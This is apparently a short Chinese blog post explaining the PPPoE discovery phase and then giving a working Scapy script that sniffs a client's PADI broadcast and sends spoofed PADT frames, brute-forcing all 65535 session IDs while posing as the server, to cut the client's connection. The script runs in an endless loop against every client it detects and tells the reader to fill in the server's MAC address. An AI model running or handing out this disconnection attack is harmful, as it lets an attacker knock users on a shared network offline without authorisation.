PPPoE协议原理:
第一阶段:
1.pppoe client广播发送PADI数据包建立连接,
2.pppoes erver回复一个单单播帧
3.client回复一个单播请求
4.pppoe server就会回复一个允许包(包中携带sessionid)
第二阶断:然后双方使用PPP的LCP协议协商链路,NCP进行密码检验,即可通讯。
重点:第一阶段pppoe会话重要依据就是双方的mac和sessionid
原理:只要在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送病毒帧时,双方应该已经完成了第一阶段的会话
由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接必须发送65535个数据包,所需时间较长;
代码如下:
from scapy.all import *
while True:
try:
a=sniff(filter=‘pppoed‘,count=1)
c=Ether()/PPPoE()
c.dst=a[0].src
c.src="00:0c:29:be:f5:21" //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改
c.type=0x8863
c.payload.code=0xa7
c.payload.sessionid=range(65535)
c.payload.len=0
sendp(c)
print "We have attack one,his/her mac address is "+a[0].src
except:
continue
时间: 2024-10-13 00:20:24